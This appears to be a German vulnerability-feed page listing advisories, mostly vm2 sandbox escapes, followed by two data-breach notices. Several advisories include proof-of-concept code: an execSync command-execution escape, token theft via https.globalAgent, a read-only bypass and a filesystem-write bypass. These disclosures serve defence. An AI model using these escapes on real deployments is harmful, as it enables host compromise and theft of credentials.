| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 9.8 / 10 CVE-2025-1889 | gerade eben | |
| picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic. | ||
| Risiko 9.8 / 10 CVE-2024-8309 | gerade eben | |
| A vulnerability in the GraphCypherQAChain class of langchain-ai/langchain-community version 0.2.5 allows for SQL injection through prompt injection. This vulnerability can lead to unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database. | ||
| Risiko 5 / 10 CVE-2026-92952 | vor 1 Stunde(n) | |
| ## Summary
vm2 current head (`v3.11.5`, commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`) still exposes registered Node.js internal symbols from host WebStream prototypes to sandbox code.
The prior `nodejs.*` symbol hardening blocks `Symbol.for('nodejs. |
||
| Risiko 9.5 / 10 CVE-2026-92948 | vor 1 Stunde(n) | |
| ## Summary
On Node.js 24 and newer, `vm2` can expose the host `node:test` module to sandboxed `NodeVM` code when the embedder explicitly allows the `node:test` builtin. Sandbox code can reach that module through `require('node:node:test')` and call `run()` with attacker-controlled `execArgv`.
`node:test.run()` starts a separate Node process for process-isolated test execution and forwards the supplied `execArgv` values to that process. Supplying `--eval= |
||
| Risiko 7.5 / 10 CVE-2026-92950 | vor 1 Stunde(n) | |
| ### Summary
The `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's "CLI" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required.
### Details
The vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 |
||
| Risiko 9.5 / 10 CVE-2026-92940 | vor 1 Stunde(n) | |
| Summary vm2 3.11.6 exposes the host process's real `https.globalAgent` when a `NodeVM` is explicitly allowed to require `https`. The module is wrapped as read-only, but calls to methods on the shared agent still mutate the host object. Sandbox code can register a `free` listener and receive host request options and the host TLS socket whenever an unrelated host HTTPS request releases a pooled connection. In a contained test, sandbox code allowed only the `https` builtin: - read the host request's bearer token from the agent event; - attached a data listener to the released host TLS socket and read the next host response body in plaintext; - learned the private service host and port; - sent an attacker-chosen authenticated POST using the stolen host token; and - received confirmation that the service accepted the action. The host application never passed its credentials, request, response, socket, or destination into the sandbox. They crossed the boundary solely because vm2 exposes the process-global HTTPS agent instead of a sandbox-local network module instance. ### Details The vulnerable boundary is the default builtin loader in `lib/builtin.js`: ```js builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key))); ``` The wrapper recursively exposes properties of the actual host module. For ordinary constants, a read-only proxy can be sufficient. It is not sufficient for process-global EventEmitter objects whose methods mutate internal state. `https.globalAgent` is the default agent used by host HTTPS requests when the host does not supply a separate `agent`. The agent is shared by the entire Node.js thread. Its `free` event supplies both: - the `TLSSocket` that has just completed a request and is available for reuse; and - the connection/request options used to place that socket in the pool. The following sandbox code registers directly on that host singleton: ```js const https = require('https'); https.globalAgent.on('free', (socket, options) => { const token = options.headers.Authorization; const destination = {host: options.host, port: options.port}; socket.on('data', chunk => { capturedHostTraffic += chunk.toString('utf8'); }); const req = https.request({ hostname: destination.host, port: destination.port, path: '/sandbox-action', method: 'POST', headers: {Authorization: token}, agent: false, }); req.end(attackerChosenBody); }); ``` Calling `.on()` is not a property assignment, so the read-only handler forwards it to the real host Agent. When the host later emits `free`, vm2 invokes the sandbox callback with bridged views of the live options and socket. Reading nested header values succeeds. Calling `socket.on()` also forwards to the real socket, letting the sandbox observe the decrypted bytes emitted during a later request on that connection. The complete exploit flow is: ```text attacker-controlled NodeVM program with https allowed -> subscribe to the real host https.globalAgent -> unrelated host HTTPS request completes -> shared Agent emits live socket and request options into sandbox callback -> sandbox reads host Authorization token and private destination -> sandbox attaches to the released TLSSocket -> next host response is exposed in plaintext -> sandbox reuses stolen token for attacker-chosen authenticated request ``` This is a distinct residual of the same process-wide observability class for which other host builtins are rejected. The current dangerous-builtin filter does not classify `https` as process-global because the module also has legitimate sandbox network APIs. A safe implementation must avoid exposing the host singleton, such as by providing a sandbox-local module facade and sandbox-local Agent. ### PoC The attached PoC uses only a temporary certificate and a loopback HTTPS server. 1. Install Node.js and OpenSSL. 2. In the attached `poc` directory, run: ```bash npm install --ignore-scripts node poc.js ``` 3. A vulnerable result includes all of the following markers: - leaked host token: `Bearer VM2_HOST_AUTHORIZATION_f7952a`; - captured host response: `VM2_PRIVATE_HOST_RESPONSE_47b2d6`; - attacker-chosen authenticated action: `VM2_SANDBOX_ACTION_8d14c3`; - server decision: `ACTION_ACCEPTED`. The first host request carries the token. After it completes, the sandbox callback receives the token and independently sends the action request. The second host request reuses the pooled TLS connection; the sandbox's listener reads that response from the live socket. The PoC fails unless both confidentiality and integrity effects occur. ### Impact This is cross-boundary exposure and misuse of a process-global authenticated network resource. An attacker who can submit code to a `NodeVM` with `https` allowed can, when the host uses the default HTTPS agent: - steal Authorization, Cookie, API-key, proxy-authorization, and other sensitive request options; - discover private service hostnames and ports used only by host code; - read plaintext response headers and bodies on reused TLS connections; - steal client-certificate, private-key, passphrase, CA, or session-related options when the host supplies them through request options; - perform authenticated actions using stolen bearer credentials; - write to or destroy live host sockets, disrupting or corrupting unrelated traffic; - cross tenant boundaries when multiple sandboxes and host workloads share one process. The sandbox already has the intentional ability to make its own HTTPS requests. It does not intentionally have authority to observe or reuse the host application's credentials and connections. A host that always supplies a separate private Agent for every sensitive request avoids this specific singleton, but that is not the default behavior. | ||
| Risiko 9.5 / 10 CVE-2026-92951 | vor 1 Stunde(n) | |
| ### Summary vm2 is a sandbox library for isolating and executing untrusted JavaScript code inside a Node.js process. It can restrict access to built-in modules and external packages. When `NodeVM` enables an `external` allowlist together with a custom `resolve` callback, vm2 checks the requested package name with a non-exact match. For example, if the allowlist only permits `left-pad`, an attacker can still bypass the check with a colliding package name such as `evil-left-pad`, because it contains the allowlisted name. If the colliding package already exists in a host path resolvable by the custom resolver, or if the target application's custom resolver / dependency-management workflow downloads the package and places it in a resolvable path, vm2 loads and executes that package in the host context. This lets sandboxed code bypass the module allowlist and may further lead to host code execution. ### Details `NodeVM` supports `require.external` to configure which external npm packages sandboxed code may load. It also supports a custom resolver through `require.resolve`. This combination is commonly used in business plugin systems, user-script platforms, or sandbox execution environments: the application allows only a small set of trusted dependencies while using a custom resolver that points to the application's own package directory. The vulnerability is in the allowlist pre-check logic before the custom resolver is called. vm2 generates a regular expression from the `external` allowlist and uses it to check the original package name supplied by sandboxed code. However, the regular expression is not anchored to the full package-name boundary, so it performs a substring match on the original package name. For example, with the following configuration: ```js new NodeVM({ require: { external: ['left-pad'], resolve: id => require.resolve(id, { paths: [customRoot] }), context: 'host', builtin: [] } }) ``` The intended policy is that sandboxed code can only load `left-pad`. However, because vm2 uses a non-exact match similar to `/left\-pad/` for the requested package name, names such as `evil-left-pad` and `left-pad-backdoor` also pass the allowlist pre-check. After `evil-left-pad` passes the check, vm2 calls the custom resolver configured by the application. If the resolver can find that colliding package in a host-resolvable path, vm2 adds the returned path to the loadable list and, in `context: 'host'` mode, loads the package with the host `require()`. At that point, the package's top-level code executes in the host context instead of being constrained by sandbox restrictions such as `NodeVM`'s `builtin: []`. In local verification, the PoC only allows `external: ['left-pad']` and sets `builtin: []`, so sandboxed code cannot directly load `child_process`. However, after the sandboxed code executes `require('evil-left-pad')`, vm2 still loads the colliding package from a host path. The colliding package's top-level code successfully invokes the host `child_process` module and prints `HOST_EXEC`. This issue does not mean that vm2 automatically downloads malicious packages from npm at runtime. The attack requires the colliding package to already be in a path resolvable by the custom resolver, or for the target application's own dependency resolution / download workflow to place that package in such a path. This precondition limits the affected scenarios, but it does not change the core vulnerability: the `external` allowlist is not enforced against complete package-name boundaries, allowing sandboxed code to load a host package that the application did not authorize. ### PoC An independent PoC is attached in the `poc` directory. The PoC installs vm2 `3.11.5`, creates a temporary host package directory, and writes an unauthorized `evil-left-pad` package into it. Run the following from the `poc` directory: ```bash npm install node poc.js ``` When the vulnerability is present, the output is similar to: ```text [+] vm2 version: 3.11.5 [+] customRoot: /tmp/vm2-resolver-poc-xxxxxx/custom [+] Direct sandbox require("child_process") is blocked: ENOTFOUND [+] Unrelated package is blocked: ENOTFOUND [+] require("evil-left-pad") result: HOST_EXEC [+] RESULT: VULNERABLE ``` `HOST_EXEC` is produced by the top-level code of the `evil-left-pad` package through host-side `child_process.execFileSync()`, demonstrating that the unauthorized package has executed in the host context. Expected result: when the `external` allowlist only contains `left-pad`, `evil-left-pad` should be rejected. Actual result: `evil-left-pad` passes the check because it contains the `left-pad` substring and then executes in the host context. ### Impact Under the affected configuration, an attacker can load a colliding host package that is not allowed by the `external` allowlist through sandboxed code, breaking `NodeVM`'s module access control. If the attacker can control or influence the contents of the colliding package, for example by placing a malicious package through a plugin upload directory, a user-controllable dependency directory, a private registry synchronization directory, an application-specific dependency download workflow, or another path reachable by the resolver, the attacker can further execute code in the host Node.js process context. The attacker may read files, environment variables, and secrets accessible to the host process, modify host-writable data, or interrupt the host service. The main exploitation prerequisites are: - The application uses vm2 `NodeVM` to execute untrusted or low-trust JavaScript code. - The application enables a `require.external` allowlist instead of allowing all external packages. - The application configures a custom `require.resolve`. - The colliding package already exists in a path resolvable by that custom resolver, or the application's workflow downloads / synchronizes it into that path. - The application loads external packages in the host context, or keeps the relevant default behavior. If the deployed custom resolver only searches a fixed dependency directory that is fully trusted and cannot be influenced by an attacker, practical exploitability is reduced. However, in scenarios such as plugin systems, user scripts, uploadable dependency packages, private package-source synchronization, or multi-tenant sandbox platforms, this vulnerability can bypass the sandbox boundary. ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com) - Atuin Automated Vulnerability Discovery Engine - Guannan Wang (wgnbuaa@gmail.com), Zhanpeng Liu (pkugenuine@gmail.com), Jiashuo Liang (761232680@qq.com), Guancheng Li (lgcpku@gmail.com) | ||
| Risiko 7.5 / 10 CVE-2026-92958 | vor 1 Stunde(n) | |
| ## Summary
NodeVM's builtin wildcard policy can allow sandboxed code to access `fs/promises` even when the embedder denies `fs`.
With the following configuration:
```js
require: {
builtin: ['*', '-fs', '-child_process']
}
```
`require('fs')` and `require('child_process')` are blocked, but `require('fs/promises')` and `require('node:fs/promises')` are still available. This allows sandboxed code to create and write files on the host filesystem through the promise-based filesystem API.
## Affected Mode
NodeVM.
## Affected Configuration
```js
new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
```
This affects configurations where users rely on negative builtin entries such as `-fs` to deny filesystem access while using the `'*'` builtin wildcard.
## Affected Files / Functions
- `lib/builtin.js`
- `DANGEROUS_BUILTINS`
- `BUILTIN_MODULES`
- `makeBuiltinsFromLegacyOptions`
- `addDefaultBuiltin`
- `lib/resolver.js`
- `Resolver.resolve`
- `Resolver.loadBuiltinModule`
- `lib/setup-node-sandbox.js`
- `requireImpl`
## Root Cause
`lib/builtin.js` builds `BUILTIN_MODULES` from Node's builtin module list and filters dangerous/default-denied modules. In wildcard mode, negative entries are checked by exact name:
```js
if (builtins.indexOf(`-${name}`) === -1) {
addDefaultBuiltin(res, name, hostRequire);
}
```
This means `-fs` removes only the exact builtin named `fs`. It does not remove builtin subpaths such as `fs/promises`.
There is also inconsistent `node:` prefix handling. `require('node:fs/promises')` resolves through the same builtin capability, but a negative entry such as `-node:fs/promises` does not block `require('fs/promises')`.
## Security Boundary Crossed
Sandboxed code can perform host filesystem writes even though the embedder denied `fs`.
## Impact
Confirmed impact:
- Host file creation
- Host file write
The proof uses `fs/promises.writeFile()` to create a harmless temporary file containing a marker string.
Additional reachable APIs on `fs/promises` include filesystem operations such as `cp`, `mkdir`, `rename`, `rm`, `rmdir`, `truncate`, and others. These were not used destructively in the proof.
## Safe Local Reproduction
Tested on Node.js `v24.14.0`.
This proof does not execute OS commands and does not use destructive filesystem operations. It creates a temporary proof file, verifies the marker, then removes the file.
```js
'use strict';
const fs = require('fs');
const os = require('os');
const path = require('path');
const { NodeVM } = require('./');
const proofPath = path.join(os.tmpdir(), `vm2-fs-promises-proof-${process.pid}.txt`);
const marker = `vm2-fs-promises-marker-${process.pid}`;
try {
fs.unlinkSync(proofPath);
} catch (_) {}
(async () => {
const vm = new NodeVM({
require: {
builtin: ['*', '-fs', '-child_process']
}
});
const result = await vm.run(`
module.exports = (async () => {
const r = {};
try {
require('fs');
r.fsLoaded = true;
} catch (e) {
r.fsBlocked = true;
r.fsError = e && e.code;
}
try {
require('child_process');
r.childProcessLoaded = true;
} catch (e) {
r.childProcessBlocked = true;
r.childProcessError = e && e.code;
}
const fsp = require('fs/promises');
r.fsPromisesLoaded = true;
r.fsPromisesKeys = Object.keys(fsp).slice(0, 12).sort();
await fsp.writeFile(${JSON.stringify(proofPath)}, ${JSON.stringify(marker)}, 'utf8');
r.wrote = true;
return r;
})();
`);
const exists = fs.existsSync(proofPath);
const content = exists ? fs.readFileSync(proofPath, 'utf8') : null;
console.log(JSON.stringify({
result,
hostFileExists: exists,
hostFileContent: content
}, null, 2));
try {
fs.unlinkSync(proofPath);
} catch (_) {}
})().catch(error => {
try {
fs.unlinkSync(proofPath);
} catch (_) {}
console.error(error);
process.exitCode = 1;
});
```
Observed result:
```json
{
"result": {
"fsBlocked": true,
"fsError": "ENOTFOUND",
"childProcessBlocked": true,
"childProcessError": "ENOTFOUND",
"fsPromisesLoaded": true,
"wrote": true
},
"hostFileExists": true,
"hostFileContent": "vm2-fs-promises-marker- |
||
| Risiko 9.5 / 10 CVE-2026-92957 | vor 1 Stunde(n) | |
| ## Summary NodeVM normalizes `node:`-prefixed builtin specifiers during `require()` resolution, but it does not normalize user-provided negative builtin entries in wildcard policy. As a result, this configuration: ```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ``` does not deny the canonical `child_process` builtin. Sandboxed code can require both `child_process` and `node:child_process`, and receives the host module with process-spawning APIs such as `execSync` and `spawn`. The safe proof below only checks module and function reachability. It does not execute any OS command. ## Affected Mode NodeVM. ## Affected Configuration ```js new NodeVM({ require: { builtin: ['*', '-node:child_process'] } }); ``` This affects users who deny builtins using their `node:`-prefixed spelling, expecting `-node:child_process` to deny `require('node:child_process')` and `require('child_process')`. ## Affected Files / Functions - `lib/builtin.js` - `makeBuiltinsFromLegacyOptions` - wildcard builtin expansion - exact negative entry check: `builtins.indexOf(\`-${name}\`)` - `addDefaultBuiltin` - `lib/resolver.js` - `Resolver.resolve` - `lib/setup-node-sandbox.js` - `requireImpl` - `node:` prefix stripping before builtin load ## Root Cause `lib/setup-node-sandbox.js` strips the `node:` prefix from resolved builtin filenames before loading the builtin: ```js if (localStringPrototypeStartsWith(filename, 'node:')) { id = localStringPrototypeSlice(filename, 5); let nmod = cacheBuiltins[id]; if (!nmod) { nmod = loadBuiltinModule(id); if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND'); cacheBuiltins[id] = nmod; } return nmod; } ``` But `lib/builtin.js` checks wildcard negative entries by exact string match against the names in `BUILTIN_MODULES`: ```js if (builtins.indexOf(`-${name}`) === -1) { addDefaultBuiltin(res, name, hostRequire); } ``` `BUILTIN_MODULES` contains the canonical name `child_process`, not `node:child_process`. Therefore `-node:child_process` does not exclude `child_process`, and `addDefaultBuiltin()` registers the host builtin. ## Security Boundary Crossed Sandboxed code reaches a host builtin that the embedder attempted to deny. Boundary crossed: - sandbox -> host `child_process` builtin - sandbox -> host process-spawning function references ## Impact Confirmed impact: - `require('child_process')` succeeds inside the sandbox. - `require('node:child_process')` succeeds inside the sandbox. - The returned module exposes `execSync` and `spawn` as functions. Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command. The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability. ## Safe Local Reproduction Tested on Node.js `v24.14.0`. This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands. ```js 'use strict'; const { NodeVM } = require('./'); function probe(builtin) { const vm = new NodeVM({ require: { builtin } }); return vm.run(` const out = {}; for (const spec of ['child_process', 'node:child_process']) { try { const cp = require(spec); out[spec] = { loaded: true, execSyncType: typeof cp.execSync, spawnType: typeof cp.spawn, moduleToStringTag: Object.prototype.toString.call(cp) }; } catch (e) { out[spec] = { loaded: false, name: e && e.name, code: e && e.code, message: e && e.message }; } } module.exports = out; `); } console.log(JSON.stringify({ nodeVersion: process.version, denyNodePrefixed: probe(['*', '-node:child_process']), denyCanonical: probe(['*', '-child_process']) }, null, 2)); ``` Observed result: ```json { "nodeVersion": "v24.14.0", "denyNodePrefixed": { "child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" }, "node:child_process": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" } }, "denyCanonical": { "child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'child_process'" }, "node:child_process": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'node:child_process'" } } } ``` ## Expected Secure Behavior `-node:child_process` and `-child_process` should be equivalent. If either spelling is denied, both of these should fail: ```js require('child_process') require('node:child_process') ``` ## Suggested Fix 1. Canonicalize builtin names before allow/deny comparison: - Strip `node:` from user-provided builtin entries. - Preserve whether an entry is negative (`-...`) before canonicalizing. - Store and compare one canonical builtin key. 2. Apply the same normalization to: - wildcard negative entries - explicit allowlist entries - object-form builtin entries - mock/override keys if they are intended to support `node:` spelling 3. Add regression tests: - `builtin: ['*', '-node:child_process']` blocks `child_process`. - `builtin: ['*', '-node:child_process']` blocks `node:child_process`. - `builtin: ['*', '-node:fs']` blocks `fs` and `node:fs`. - `builtin: ['*', '-node:fs/promises']` and `-fs/promises` behave consistently. - Canonical dangerous builtins remain denied even if explicitly requested with `node:` spelling. | ||
| Risiko 5 / 10 CVE-2026-92949 | vor 1 Stunde(n) | |
| ### Summary Untrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is "prevent sandboxed scripts from adding, changing, or deleting properties". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`. ### PoC ```js // poc.js 'use strict'; const { VM } = require('vm2'); let _level = 'safe'; const hostConfig = Object.defineProperty({}, 'level', { get() { return _level; }, set(v) { _level = String(v); }, enumerable: true, configurable: true, }); const vm = new VM(); vm.freeze(hostConfig, 'cfg'); // Baseline - documented barriers hold: vm.run(`cfg.level = 'via-set';`); vm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`); console.log('after [[Set]]/defineProperty:', _level); // → "safe" // Bypass - sandbox mutates host via accessor descriptor: vm.run(` const d = Object.getOwnPropertyDescriptor(cfg, 'level'); d.set.call(cfg, 'PWNED'); `); console.log('after getOwnPropertyDescriptor→set.call:', _level); // → "PWNED" // Variant - same sink via __lookupSetter__: vm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`); console.log('after __lookupSetter__:', _level); // → "PWNED-2" ``` ```sh node poc.js ``` Observed output: ``` after [[Set]]/defineProperty: safe after getOwnPropertyDescriptor→set.call: PWNED after __lookupSetter__: PWNED-2 ``` The first line shows `ReadOnlyHandler`'s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`. ### Impact A sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder. **Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise. **Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined. **Persistence**: as persistent as the host object (typically process-lifetime). | ||
| Risiko 9.5 / 10 CVE-2026-92935 | vor 1 Stunde(n) | |
| ## Summary The `NodeVM` constructor computes `hasRealRequireConfig` using `typeof requireOpts === 'object' && requireOpts !== null`, so `require: []` bypasses the guard intended to reject `nesting` without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array to undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. Any attacker whose JavaScript is executed by a downstream `NodeVM` configured with `{nesting: true, require: []}` can load the host `vm2` module, create an inner `NodeVM` with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in `makeResolverFromLegacyOptions()`. Array is converted into the vm2-only resolver: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226 Nesting loader returns the host VM constructors: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645 ## Proof of Concept Preconditions: - The host creates `NodeVM` with truthy `nesting` and array-shaped `require`. - The attacker can supply JavaScript executed by that `NodeVM`. ```javascript 'use strict'; const {NodeVM} = require('./index.js'); const outer = new NodeVM({nesting: true, require: []}); const result = outer.run(` const {NodeVM} = require('vm2'); const inner = new NodeVM({require: {builtin: ['child_process']}}); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()" ); `); console.log(result); ``` ```text uid=1000(lohar) gid=1000(lohar) groups=1000(lohar) ``` The `hasRealRequireConfig` guard fails open because it returns `true` for arrays, although arrays are not `VMRequire` configuration objects. `makeResolverFromLegacyOptions()` applies object destructuring to the array, obtains undefined `builtin` and `external` values, merges `NESTING_OVERRIDE`, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner `NodeVM`, whose `require` configuration is selected inside the sandbox. Failed shape check: https://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307 ## Impact An attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped `require` values and incorrectly identifies 3.11.4 as patched. > Exploitation is limited to downstream applications that enable `nesting` and pass the malformed array configuration. | ||
| Risiko 7.5 / 10 GHSA-7c3p-84r8-h79q | vor 14 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-6rh5-qq4q-97xh. This link is maintained to preserve external references. ## Original Description vm2 through 3.11.6 contains a builtin-module denylist bypass in NodeVM. When the embedder uses the builtin wildcard together with negative entries (e.g. require: { builtin: ['*', '-fs', '-child_process'] }), negative entries are matched by exact module name in lib/builtin.js, so -fs removes only the builtin named fs and does not remove builtin subpaths such as fs/promises. Sandboxed code can therefore call require('fs/promises') or require('node:fs/promises') and reach the promise-based filesystem API despite fs being denied; node: prefix handling is likewise inconsistent (a -node:fs/promises entry does not block require('fs/promises')). Host file creation and writing were confirmed via fsp.writeFile(), and other fs/promises operations (cp, mkdir, rename, rm, rmdir, truncate, read operations, etc.) are also reachable. This issue is fixed in vm2 3.11.7. | ||
| Risiko 9.5 / 10 GHSA-28q4-xrqh-9479 | vor 14 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-8686-vhfx-7r3j. This link is maintained to preserve external references. ## Original Description vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ require: { builtin: ['*', '-node:child_process'] } })` fails to deny the canonical `child_process` module. Sandboxed code can therefore obtain the host `child_process` builtin via `require('child_process')` or `require('node:child_process')`, gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7. (Suggested title: "vm2 before 3.11.7: NodeVM builtin deny-list bypass via node:-prefixed specifiers exposes child_process") | ||
| Risiko 7.5 / 10 GHSA-hmpr-c9rf-qcrf | vor 14 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-jf8q-945g-9q4c. This link is maintained to preserve external references. ## Original Description vm2 versions 3.11.4 through 3.11.6 incompletely filter Node.js registered internal symbols across the sandbox boundary. The extraction filters in lib/setup-sandbox.js and the cross-realm symbol checks and write traps in lib/bridge.js use a fixed list of known dangerous registered symbols that omits nodejs.stream.disturbed and nodejs.stream.errored, which are exposed on host WebStream prototypes on newer Node.js releases (validated on Node.js v25.8.0). When the embedder exposes a host WebStream object and the host stream/web module to the sandbox, sandbox code can obtain the real host symbols via Object.getOwnPropertySymbols(streamWeb.ReadableStream.prototype) and use them as write keys on host stream objects, corrupting host-visible stream state — for example making stream.Readable.isDisturbed() return false for an already-consumed stream. This can bypass host logic that relies on Node's public stream-state helpers to enforce one-shot body consumption, reject errored streams, or decide whether a stream is safe to hand to another component. It is not a host code-execution primitive in the reported proof of vulnerability. This is an incomplete fix for the earlier nodejs.* symbol filtering issue. Fixed in vm2 3.11.7. | ||
| Risiko 9.5 / 10 GHSA-wqg3-r97q-73xm | vor 14 Tag(en) | |
| ## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-qhwx-74w5-xhxq. This link is maintained to preserve external references.
## Original Description
vm2 versions >= 3.9.6 and <= 3.11.6 are affected by a NodeVM builtin allowlist bypass that permits a sandbox escape on Node.js 24 and newer when the embedder explicitly allows the node:test builtin (e.g. require: { builtin: ['node:test'] }). On Node.js 24+, module.builtinModules exposes the scheme-only key node:test, which is not covered by vm2's family-based DANGEROUS_BUILTINS protection, so it is stored in the generic host-passthrough loader. Because requireImpl() in lib/setup-node-sandbox.js strips a single 'node:' prefix before the builtin lookup, sandbox code calling require('node:node:test') resolves to the stored node:test key and receives a readonly proxy to the host module. Calls to node:test.run() are forwarded to the host implementation, which spawns a separate Node process for process-isolated test execution and passes through attacker-controlled execArgv values; supplying --eval= |
||
| Risiko 9.5 / 10 GHSA-hc6q-4vvg-jf79 | vor 14 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-jxxv-8r27-vm4p. This link is maintained to preserve external references. ## Original Description vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process. | ||
| Risiko 9.5 / 10 GHSA-6fvh-fgmg-3x7v | vor 14 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-c48m-32m9-vx93. This link is maintained to preserve external references. ## Original Description vm2 before 3.11.7 contains an incorrect authorization vulnerability in the external package allowlist check that uses non-exact substring matching instead of full package-name boundary validation. Attackers can bypass the allowlist by requiring a colliding package name that contains an allowlisted package substring, causing vm2 to load and execute unauthorized host packages in the host context. | ||
| Risiko 5 / 10 GHSA-9f3g-34x8-92jc | vor 14 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-633r-hq9m-c4ff. This link is maintained to preserve external references. ## Original Description vm2 versions from 3.9.6 before 3.11.7 fail to properly restrict access to accessor properties on frozen objects, allowing sandboxed scripts to bypass vm.freeze() and vm.readonly() protections. Attackers can use Object.getOwnPropertyDescriptor() or __lookupSetter__() to extract and invoke host object setters directly, mutating properties the embedder explicitly marked read-only. | ||
| Risiko 9.5 / 10 GHSA-5843-9mh5-hhgw | vor 14 Tag(en) | |
| ## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-h85j-hv3c-qfgq. This link is maintained to preserve external references. ## Original Description vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'free' event. When an unrelated host HTTPS request releases a pooled connection, the listener receives the live host request options and the host TLSSocket, allowing sandboxed code to read the host's Authorization header and private destination host/port, attach a data listener to the released socket and read subsequent host response bodies in plaintext, and issue attacker-chosen authenticated requests using the stolen credentials. The issue is fixed in 3.11.7. | ||
| 07.09.2026 - Medela | 423.947 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Salutations, Support tickets In September 2026, Swiss medical device company Medela was the target of a ShinyHunters "pay or leak" extortion campaign. The data allegedly obtained in the breach was later published publicly and included 424k unique email addresses belonging predominantly to healthcare professionals, Medela staff and leads. The exposed data consisted primarily of corporate contact information, including names, physical addresses and phone numbers, with some records also containing associated support tickets. |
||
| 27.08.2026 - Manchester Airports Group | 8.849.657 Datensätze geleaked | |
